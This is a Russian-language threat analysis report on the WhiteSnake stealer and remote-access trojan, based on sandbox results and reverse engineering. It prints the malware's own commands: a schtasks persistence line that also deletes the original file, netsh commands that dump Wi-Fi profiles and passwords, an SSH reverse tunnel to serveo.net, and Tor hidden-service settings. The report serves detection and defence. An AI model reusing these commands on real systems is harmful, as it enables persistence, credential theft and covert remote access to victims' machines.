Отчет по анализу «WhiteSnake»

На анализ в систему Афина пришел исполняемый файл с расширением .exe. Общая информация собранная по файлу представленная в таблице Таблица 1.

Исследование файла в системе ATHENA

Исследования файла происходило с помощью системы ATHENA и ручного исследования (реверс-инжиниринг). Для начала посмотрим на статический и динамический анализ файл в системе ATHENA

1. Статическое исследование

При проверке антивирусными движками была обнаружена сигнату-ра трояна.

Рисунок 1. Антивирусные движки

Во вкладке «Индикаторы» видно, что обнаружено совпадение сигнатуры системным YARA-правилом: BitRAT. В том числе, информационный системный индикатор «Цифровая подпись: Несовпадение контрольной суммы PE файла».

Рисунок 2. Детектирование индикаторами Athena

Во вкладке «Машинное обучение» видим, что моделями машинного обучения исследуемому файлу присвоен уровень опасности 62%. Подозрительный вердикт по градации оценивается от 90%, этот параметр можем изменить в настройках работы системы, однако текущая градация является оптимальной для работы системы.

Рисунок 3. Детектирование моделями машинного обучения.

Во вкладке «Источники вердикта» можем ознакомиться, каким образом был сформирован вердикт для проверяемого файла.

Рисунок 4. Источники вердикта

Динамическое исследование

В результате провидения динамического анализ в системе ATHENA выявлены сразу множество индикаторов по собранным событиям в песочнице (вредоносные и подозрительные):

1) Кража пользовательских данных из файлов FTP-клиента – ПО читает файлы FTP-клиента с конфиденциальной информацией пользователя (FileZilla, CoreFTP и т.п.).

2) Кража пользовательских данных из файлов VPN-клиента – ПО читает файлы VPN-клиента с конфиденциальной информацией пользователя (OpenVPN, WireGuard и т.п.).

3) Кража пользовательских данных из файлов браузера – ПО читает файлы браузера с конфиденциальной информацией пользователя.

4) Кража пользовательских данных из файлов почтового приложения – ПО читает файлы почтового клиента с конфиденциальной информацией пользователя (Outlook, Thunderbird и т.п.)

5) Группа индикаторов: Adware.Downware – в ходе исследования ПО создало свой же исполняемый экземпляр в иной системной директории, а текущий экземпляр был удален.

6) Планирование заданий в планировщике задач Windows – при помощи системной утилиты schtasks вирус создает отложенную задачу для собственного запуска.

7) Удаление файлов с помощью cmd.exe – вирус удалил текущий (запущенный) экземпляр.

8) Чтение файлов cookies – ПО читает cookies-файлы браузера, что может быть использовано для кражи учётных данных пользователя.

9) Проверка наличия отладки – ПО использует функции из библиотеки ntdll.dll для проверки наличия отладчика.

10) Установка таймаута на выполнение программы – ПО устанавливает таймаут на выполнение программы.

Рисунок 5. Динамическое исследование файла

В ходе исследования ВПО создавало файлы и перемещалось, на скриншоте видно, что был удален запущенный экземпляр и создан в директории

«C:\Users\Ivan\AppData\Local\Starlabs\Задолженность ФНС.exe»
Рисунок 6. Действия с файлами в системе

В реестре внесены изменения, из интересного в реестр \REGISTRY\MACHINE\SOFTWARE\Microsoft\Tracing\ внесены изменения, перенаправляющие вывод из консоли ВПО в созданный файл логирования:

C:\Users\Ivan\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Задолженность ФНС.exe.log
Рисунок 7. Действия с реестром в системе

В том числе, ВПО устанавливало соединения и отправляло пакеты в сети.

Рисунок 8. Сетевые соединения

Можем отметить, что собранные на машине данные были отправлены на подконтрольный сервер злоумышленника в HTTP-трафике:

Рисунок 9. HTTP-трафик исследования

Все собранные дампы (процесса и созданных файлов) отображаются в блоке «Дампы». Каждый дамп проверяется в статическом исследовании.

Рисунок 10. Собранные дампы

Все события, полученные дампы, созданные соединения объединяются в общий вердикт по динамическому исследованию:

Рисунок 11. Собранные дампы

Детальное исследование файла

Открыв файл в отладчике, можем наблюдать, что практически все строки обернуты в функцию:

Рисунок 12. Обфускация строк

Сама функция, представляет собой гаммирование при помощи XOR c перебором всех печатаемых ASCII-символов (по таблице от 32 до 126), таким образом, чтобы результат операции XOR над входной строкой начинался с префикса «veew:». Если по результатам операции формируется соответствующий префикс, то он отбрасывается.

Рисунок 13. Метод дешифровки сообщений

После дешифровки всех строк, перейдем к точке входа в приложение и разберем последовательность его действий:

Рисунок 14. Точка входа

ВПО устанавливает TLS 1.2 версии и создает отладчик, собирающий все ошибки в файл логирования, который автоматически создается в системной директории «%TEMP%». У ВПО также имеются инструкции по созданию окна с сообщением, трех типов: информационное, предупреждение и ошибки.

Далее, выполняются инструкции проверки мьютекса, чтобы предотвратить одновременное исполнение двух экземпляров ВПО. Значение мьютекса берется из конфигурации:

Рисунок 15. Создание мьютекса

После чего, ВПО создает запросы при помощи WMI при помощи пространства имен «root\CIMV2»:

Рисунок 16. Использование пространства имен

Запрашиваемые параметры в WMI:

Рисунок 17. Запрашиваемые значения в WMI

После чего, полученные значения сравниваются с массивом строк, содержащем в себе стандартные значения для виртуальных окружений:

Рисунок 18. Проверка наличия виртуального окружения

При обнаружении последнего, исполняемый процесс завершается, в ином случае, когда заражена реальная машина вызывается метод для закрепления в системе, который создает файл в системной директории

C:\Users\<user>\AppData\Roaming\<folder_name_config>

с правами на чтение, без возможности редактирования и удаления, а также хранит инструкции для создания задачи: при помощи планировщика задач Windows с правами «HIGHEST» либо «LIMITED», удаляет оригинал, который был запущен, а далее запускает копию:

/C chcp 65001 && timeout /t 3 > NUL && schtasks /create /tn "<MalwareFileNameWithounExtension>" /sc
            MINUTE /tr "<MalwareFilePath>" /rl LIMITED /f && DEL /F /S /Q /A " MalwareFilePath" &&START
            "<MalwareFilePath>"
Рисунок 19. Закрепление в системе

ВПО собирает сведения о машине, на которой был запущен:

Рисунок 20. Сбор сведений о машине жертвы

Пример собираемых сведений представлен в таблице:

Рисунок 21. Список собираемых сведений с машины жертвы

Стиллер собирает данные веб-браузеров по шаблонному пути:

%LocalAppData%\<BrowserFolder>\User Data

Рисунок 22. Кража пользовательских данных из файлов браузера

Для браузера Opera (и Opera GX) извлекаются данные из директории:

%LocalAppData%\Opera Software\Opera Stable\Default
Рисунок 23. Кража пользовательских данных из файлов браузера Opera

Для браузеров на движке Gecko (на базе Firefox) данные извлекаются из директории:

%AppData%\<Browser Folder>\Profiles
Рисунок 24. Кража пользовательских данных из файлов браузера семейств Gecko

В том числе, собирается информация об установленных расширениях в браузере, собранная информация помещается

Рисунок 25. Сбор сведений о расширениях в браузере

В ВПО реализован кейлоггер, который подгружает динамические библиотеки при помощи вызова отдельного метода, вместе со созданием потока с обработчиком событий. Собранные сведения с клавиатуры жертвы пишутся в создаваемую директорию в формате dd-mm-yyyy.

Рисунок 26. Методы для работы кейлоггера

В конфигурации ВПО прописываются адреса криптокошельков для различных монет: Monero, Bitcoin, Bitcoin Cash, Zcash, Ethereum, Doge, Litecoin, Tron, Ripple, Dash, Neo, Stellar Lumens, Binance, Solana, Algory Project, которые будут подменяться в буфере обмена у жертвы.

Для работы «угонщика буфера» Запускается поток, вместе с обработчиком буфера обмена, он валидирует значение буфера: если больше 21, то сопоставляет с регулярным выражением, для определения типа кошелька. После определения типа кошелька, из конфигурации достается адрес нужного кошелька и заменяется значение буфера. Общий цикл работы представлен на рисунке:

Рисунок 27. Подмена адреса криптокошелька в буфере обмена

В том числе, ПО выполняет поиск на машине жертвы подключённых холодных (аппаратных) криптокошельков.

Проверяется наличие процесса trezor на машине жертвы, в том числе, создается web-запрос 127.0.0.1:21325/enumerate, а также проверяется путь в системной директории %AppData%\TREZOR Bridge\

Рисунок 28. Проверка наличия trezor на машине жертвы

Кроме trezor-а на машине жертвы проверяется наличие Ledger

Рисунок 29. Проверка наличия Ledger на машине жертвы

ВПО собирает данные почтовых приложений, проверяет директории «Apps\Outlook», после чего вызывается метод, который поочередно открывает ключи реестра:

Рисунок 30. Запрашиваемые ключи реестра

При наличии директории «Apps\Foxmail» извлекаются данные пользователя из поддиректорий «Storage» и «Accounts» приложения.

Рисунок 31. Кража данных из почтовых приложений

Дополнительно, в файле конфигурации указываются пути и расширения файлов, которые также будут украдены.

Рисунок 32. Компрометируемые данные с машины жертвы

В том числе, ВПО собирает информацию по сетевым профилям компьютера жертвы при помощи терминальной команды:

chcp 65001 && netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"

«chcp 65001» устанавливает текущую кодировку «UTF-8», после чего последовательно выполняется команда «netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"», которая позволяет собрать профили Wi-Fi хранящиеся в системе.

Рисунок 33. Исследование профилей сетевых подключений компьютера жертвы

При обнаружении профилей, выполняются инструкции извлечения сохраненных имен профилей и паролей от них. Полученные сведений сохраняются в файл «Apps\WifiCredentials.txt».

Рисунок 34. Получение имени и пароля профиля

В том числе, ВПО собирает не только сетевые профили машины жертвы, а также доступные Wi-Fi сети поблизости, извлекаются данные о их именах (SSID), уникальных идентификаторах (BSSID) и уровне сигнала.

chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal" 

Полученные сведения сохраняются в файл «Apps\WifiNearby.txt».

Рисунок 35. Сбор сведений о доступных Wi-Fi сетях

В том числе, ВПО собирает информацию об установленных приложениях на машине жертвы, при помощи обращения в реестр

SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall
Рисунок 36. Сбор сведений об установленных приложениях

ВПО собирает информацию о машине жертвы, в том числе IP-адрес машины жертвы, и страны нахождения при помощи http-запроса на ресурс http://ip-api[.]com/line?fields=query,counrty .

Рисунок 37. Получение внешнего IP-адреса и страны машины жертвы

Поскольку это вирус удаленного доступа, в нем реализована работа с терминалом злоумышленника, который при помощи словаря проверяет полученные команды:

Рисунок 38. Метод для взаимодействия с терминалом злоумышленника

Список всех доступных команд для взаимодействия с машиной жертвы представлен в таблице ниже:

Рисунок 39. Список доступных команд для исполнения и их описание

При получении команды «PING» с управляющего сервера формируется строка с ответом «PONG» и массива с именем запущенного экземпляра ВПО и данных собранных кейлоггером

Рисунок 40. Ответ на PING

При получении команды «UNINSTALLY» с управляющего сервера запускается метод самоудаления ВПО: удаляется текущий (запущенный) экземпляр вредоноса и завершается исполняемый процесс.

Рисунок 41. Самоудаление ВПО

Полученная команда «REFRESH» отправляет на сервер злоумышленника повторно собранные данные о машине жертвы, представленные в таблице 2.

При получении команды «SCREENSHOT» ВПО создает снимок экранов с машины жертвы, полученный скриншот отправляется на сервер злоумышленника.

Рисунок 42. Создание снимков экрана с устройства жертвы

При получении команды «NETDISCOVER» на сервер злоумышленника отправляются повторно собранные сведения, полученные при запуске команд

chcp 65001 && netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"
netsh wlan show profiles|findstr /R /C:\"[ ]:[ ]"
chcp 65001 && netsh wlan show networks mode=bssid | findstr "SSID BSSID Signal"

При получении команды «DPAPI» вызывает метод для дешифрования при помощи Widnows Data Protection API – CryptoProtectData. В качестве аргумента команды передаются данные, требующие дешифрования с машины жертвы.

Рисунок 43. Дешифрование данных

При получении команды «WEBCAM» вызывается метод подгрузки динамических библиотек для взаимодействия с периферией. Выполняется WQL запрос, на получение устройств типа «Camera», если соответствующие устройства периферии находятся, то выполняются последующие инструкции с захватом изображения и отправкой его злоумышленнику.

Рисунок 44. Захват изображения с камеры жертвы

Практически аналогично запускается функция для снятия звука с микрофона жертвы, однако она не выполняется по команде с удаленного терминала. Полученные данные, записываются на машине жертвы в случайно сгенерированную строку с расширением файла «.wav», с дальнейшей отправкой злоумышленнику.

Рисунок 45. Захват звука с микрофона жертвы

При получении команды «COMPRESS» выполняются инструкции по архивированию файла. Файл для архивации передается в качестве аргумента метода. Дополнительно производятся проверки на существование файла и наличие права на работу в директории.

Рисунок 46. Создание архива

При получении команды «DECOMPRESS» выполняются инструкции по извлечению содержимого архива, с аналогичными проверками.

Рисунок 47. Извлечение содержимого архива

При получении команды «TRANSFER» выполняется отправка файла с машины жертвы С2С сервера злоумышленника при помощи протокола HTTP с методом «PUT». В качестве адресата перебирается массив серверов, указанных в конфигурации ВПО, если узел недоступен берется следующий адрес.

Рисунок 48. Отправка файлов на подконтрольный севрвер

При получении команды «GET_FILE» возвращается закодированная base64 строка, содержащая в себе байты запрашиваемого в качестве аргумента файла:

Рисунок 49. Сбор сведений о файле

При получении команды «LIST_FILES» собирается информация о файлах в текущей директории:

Рисунок 50. Сбор сведений о файлах в директории

При получении команды «LIST_PROCESSES» собирается информация о запущенных процессах в реальном времени:

Рисунок 51. Сбор сведений о запущенных процессах

При получении команды «EXPOSE» запускается прокси-сервер на машине жертвы. На выбор возможна реализации посредством протокола SSH и протокола Serveo либо TOR, в зависимости от того, что было указано в конфигурации.

Рисунок 52. Сбор сведений о запущенных процессах

В случае, если это SSH, то выполняется проверка, существует ли SSH на машине жертвы по ключам реестра и по стандартной директории установки.

Стандартный путь: «OpenSSH-Win32\ssh.exe»

Стандартный реестр: «SOFTWARE\OpenSSH»

Если утилита SSH ранее не устанавливался на машине, то устанавливает его с официального репозитория GitHub:

https://github[.]com/PowerShell/Win32-OpenSSH/releases/download/v9.2.2.0p1-Beta/OpenSSH-Win32.zip

Скачанный архив помещается в директорию %TEMP%.

Рисунок 53. Установка и запуск SSH вместе с сервисом Serveo

В качестве аргументов в метод передаются внутренний порт, адрес машины и внешний порт, которые передаются в терминальную команду для запуска сервиса Serveo:

ssh.exe -o "StrictHostKeyChecking=no" –R 80:127.0.0.1:80 serveo.net

Также, возможна реализация разворачивания прокси-сервера посредством протокола TOR. Происходит аналогичная проверка на наличие TOR на машине жертвы:

%LOCALAPPDATA%/zxqaiiy6en/tor/tor-real.exe

Если файл не найден, то вызывается метод для его установки с репозитория GitHub:

https://github[.]com/matinrco/tor/releases/download/v0.4.5.10/tor-expert-bundle-v0.4.5.10.zip

Скачанный архив помещается в директорию %TEMP%.

Рисунок 54. Установка TOR

После установки выполняется создание конфигурационного файла TOR: %LOCALAPPDATA%/zxqaiiy6en/tor/torrc.txt

Рисунок 55. Создание файла конфигурации

В созданный файл помещаются следующие значения:

SOCKSPort <port> + 1
ControlPort <port> + 2
DataDirectory %LOCALAPPDATA%/zxqaiiy6en/tor/data
HiddenServiceDir %LOCALAPPDATA%/zxqaiiy6en/tor/host
HiddenServicePort 80 127.0.0.1:<port>
HiddenServiceVersion 3

Переменная передается в качестве аргумента в метод, именно на этом порту будет запущено приложение Tor. В конечном результате выполняются инструкции из метода, который запускает прокси-сервис при помощи терминальной команды:

%LOCALAPPDATA%/zxqaiiy6en/tor/tor-real.exe -f '%LOCALAPPDATA%/zxqaiiy6en/tor/torrc.txt'
Рисунок 56. Запуск прокси-сервера Tor

При получении команды «PROXY_SETUP» аналогично с TOR выполняется метод, который проверяет наличие установленного SOCKS5 прокси на машине жертвы в директории:

%LOCALAPPDATA%/zxqaiiy6en/proxy.exe 

Однако скачивание файла не вынесено в отдельную функцию. Скачивание происходит аналогично с GitHub репозитория:

https://github[.]com/wzshiming/socks5/releases/download/v0.4.2/socks5_windows_amd64.exe
Рисунок 57. Запуск прокси SOCKS5

После скачивания SOCKS5 прокси, генерируется номер порта в диапазоне от 6000 до 19000 и выполняются терминальные команды:

proxy.exe –a 127.0.0.1 <random port>
ssh.exe -o "StrictHostKeyChecking=no" –R <random port>:127.0.0.1:80 serveo.net

При получении команд «LOADEXEC» и «LOADER» выполняются инструкции по загрузке файла при помощи объекта URI, скачанный файл помещается в папке к текущему (запущенному) экземпляру ВПО.

Рисунок 58. Скачивание файла на машину жертвы

Но разница у них в том, что команда «LOADEXEC» сразу же запускает файл, который был загружен на машину жертвы:

Рисунок 59. Запуск загруженного файла

При получении команды «CD» меняется текущая директория в консоли у злоумышленника:

Рисунок 60. Смена рабочей директории

В случае, если отправляемая команда не была обработана, то она отправляется в терминал на машину жертвы:

Рисунок 61. Запуск терминальной команды на машине жертвы

Собранные данные жертвы собираются в файл с расширением WSR. Сериализуются в XML-формате, после чего выполняются инструкции по их шифрованию и сжатию при помощи алгоритма RS4 со случайным ключом, при этом, если в конфигурации указано, что шифрование происходит при помощи RS4 и RSA, ключ от RS4 шифруется через RSA и сохраняется в конфигурации

Рисунок 62. Сериализация и шифрование скомпрометированных данных

Сформированный файл с компьютера жертвы отправляется на подконтрольные C2C сервера, прописанные в файле конфигурации.

Рисунок 63. Эксфильтрация

После того, как данные были отправлены на подконтрольные сервер, формируется второй «отчет» через Телеграм-бота, который отправляется в чат злоумышленнику:

Рисунок 64. Отправка отчета через Телеграм-бота

Информация о компрометации

Рисунок 65. Информация о компрометации

Внешнее меню